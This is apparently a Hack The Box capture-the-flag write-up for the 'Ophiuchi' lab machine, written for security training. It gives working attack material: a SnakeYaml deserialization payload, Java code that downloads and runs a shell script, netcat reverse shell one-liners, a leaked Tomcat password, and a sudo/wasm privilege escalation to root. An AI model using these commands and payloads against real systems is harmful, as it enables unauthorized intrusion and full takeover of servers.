Ophiuchi - [HTB]

Cover Image for Ophiuchi - [HTB]

Table of Contents


    Ophiuchi is a medium Linux machine where the attacker will have to exploit an 'SnakeYaml Deserilization' in order to obtain a reverse shell as tomcat. Then, will have to look for credentials inside the tomcat's configuration directory to escalate privileges. Finally, he or she will have create a script, that executes a reverse shell and, a modified version of a web assembly file,that all together produce a reverse shell as root once executed a go program as root.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:$ sudo nmap -sS -p- --open -n -T5 -oN AllPort.txt 
    [sudo] password for kali: 
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:51 EST
    Nmap scan report for
    Host is up (0.039s latency).
    Not shown: 65524 closed ports, 9 filtered ports
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    22/tcp   open  ssh
    8080/tcp open  http-proxy

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:$ sudo nmap -sC -sV -p22,8080 -n -T5 -oN PortInDepth.txt
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:52 EST
    Nmap scan report for
    Host is up (0.035s latency).
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
    |   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
    |_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
    8080/tcp open  http    Apache Tomcat 9.0.38
    |_http-title: Parse YAML
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

    As we can see in the nmap result, there is a YAML parser. YAML is a human-readable data serialization standard that can be used in conjunction with all programming languages and is often used to write configuration files.

    Online YAML Parser

    However, it doesn't matter what we write in the web form, that we always receive the same result: "Due to security reason this feature has been temporarily on hold. We will soon fix the issue!".

    This give us a hint that this form is vulnerable.

    Watching on the Internet there is a post about SnakeYaml Deserilization exploited with an associated GitHub repository containing all needed resources in order to reproduce the exploit.

    Because getting a reverse shell is not that easy with the following exploit, here you have what steps you have to follow in order to get one.


    First of all download the Github repository mentioned earlier, once inside create a file named shell.sh with the following content.

    Note: Remember to change the IP and port.

    touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 4444 > /tmp/f

    Then, modify the file src/artsploit/AwesomeScriptEngineFactory.java thus the yaml parser downloads the shell.sh and executes it, obtaining our reverse shell.

        public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("wget -O /tmp/shell.sh");
                Runtime.getRuntime().exec("bash /tmp/shell.sh");
            } catch (IOException e) {

    Note: Again, do not forget to change the IP.

    Now, we have to compile the class, creating the yaml-payload.jar, so you have to execute the following commands.

    kali@kali:~/yaml-payload$ javac src/artsploit/AwesomeScriptEngineFactory.java
    kali@kali:~/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .

    The resulting file structure should look like this:

    ├── shell.sh
    ├── src
    │   ├── artsploit
    │   │   ├── AwesomeScriptEngineFactory.class
    │   │   └── AwesomeScriptEngineFactory.java
    │   └── META-INF
    │       └── services
    │           └── javax.script.ScriptEngineFactory
    └── yaml-payload.jar
    4 directories, 5 files

    Finally, you have to create a listening port (nc -nlvp 4444) create an HTTP server in the same folder as shell.sh (You can do it with python3 python3 -m http.server) and send the following payload to the yaml parser.

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL [""]

    Privilege escalation 1

    The reverse shell is being executed as tomcat, so we need to escalate privileges.

    tomcat@ophiuchi:/$ id
    uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

    Inside the file /opt/tomcat/conf/tomcat-users.xml there are somoe credentials for the user admin, which also exists in the machine.

    tomcat@ophiuchi:~/conf$ cat /opt/tomcat/conf/tomcat-users.xml 
    <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

    These credentials can be used to login us to the machine as admin through SSH.

    Privilege escalation 2

    Running sudo -l seems that we can execute a go program.

    admin@ophiuchi:~$ sudo -l
    Matching Defaults entries for admin on ophiuchi:
        env_reset, mail_badpass,
    User admin may run the following commands on ophiuchi:
        (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

    Taking a look at the /opt/wasm-functions/index.go we can see that reads a file named main.wasm and executes a function named info, that if the returned value is equals to "1" the deploy.sh would be executed (Both files resides under the same folder as index.go).

    package main
    import (
            wasm "github.com/wasmerio/wasmer-go/wasmer"
    func main() {
            bytes, _ := wasm.ReadBytes("main.wasm")
            instance, _ := wasm.NewInstance(bytes)
            defer instance.Close()
            init := instance.Exports["info"]
            result,_ := init()
            f := result.String()
            if (f != "1") {
                    fmt.Println("Not ready to deploy")
            } else {
                    fmt.Println("Ready to deploy")
                    out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                    if err != nil {

    If we try to execute the program as sudo we always obtain "Not ready to deploy". Thus, we have to modified the main.wasm so it returns "1" and the deploy.sh file executes a reverse shell.

    Looking at the Wasmer GitHub repository, which appears in index.go, it seems that the main.wams stores web assembly instructions. In order to disassemble them we can use the tool wabt that has a series of binaries for decompiling, translating and reading web assembly files.

    Using the binary wasm2wat we can translate the binary to text format, obtaining the file main.wat.

    kali@kali:$ ./wabt-1.0.20/bin/wasm2wat main.wasm -o  main.wat 
    kali@kali:$ cat main.wat
      (type (;0;) (func (result i32)))
      (func $info (type 0) (result i32)
        i32.const 0)
      (table (;0;) 1 1 funcref)
      (memory (;0;) 16)
      (global (;0;) (mut i32) (i32.const 1048576))
      (global (;1;) i32 (i32.const 1048576))
      (global (;2;) i32 (i32.const 1048576))
      (export "memory" (memory 0))
      (export "info" (func $info))
      (export "__data_end" (global 1))
      (export "__heap_base" (global 2)))

    As you can see above, there is an $info function that returns a constant value 0 , so we have to change it by a "1".

      (func $info (type 0) (result i32)
        i32.const 1)

    Then, we have to compile back the main.wat to main.wasm.

    kali@kali:$ ./wabt-1.0.20/bin/wat2wasm main.wat -o  main.wasm 

    Now, we have to upload the resulting main.wasm to the /tmp folder and we have to create a /tmp/deploy.sh that executes a reverse shell.

    admin@ophiuchi:/tmp$ cat deploy.sh 
    # ToDo
    # Create script to automatic deploy our new web at tomcat port 8080
    touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 4445 > /tmp/f

    Finally, we need to execute the sudo command inside the /tmp in order to obtain our shell as root.

    admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
    Ready to deploy
    kali@kali$ nc -nlvp 4445
    listening on [any] 4444 ..
    connect to [] from (UNKNOWN) [] 60290
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # wc -c /root/root.txt
    33 /root/root.txt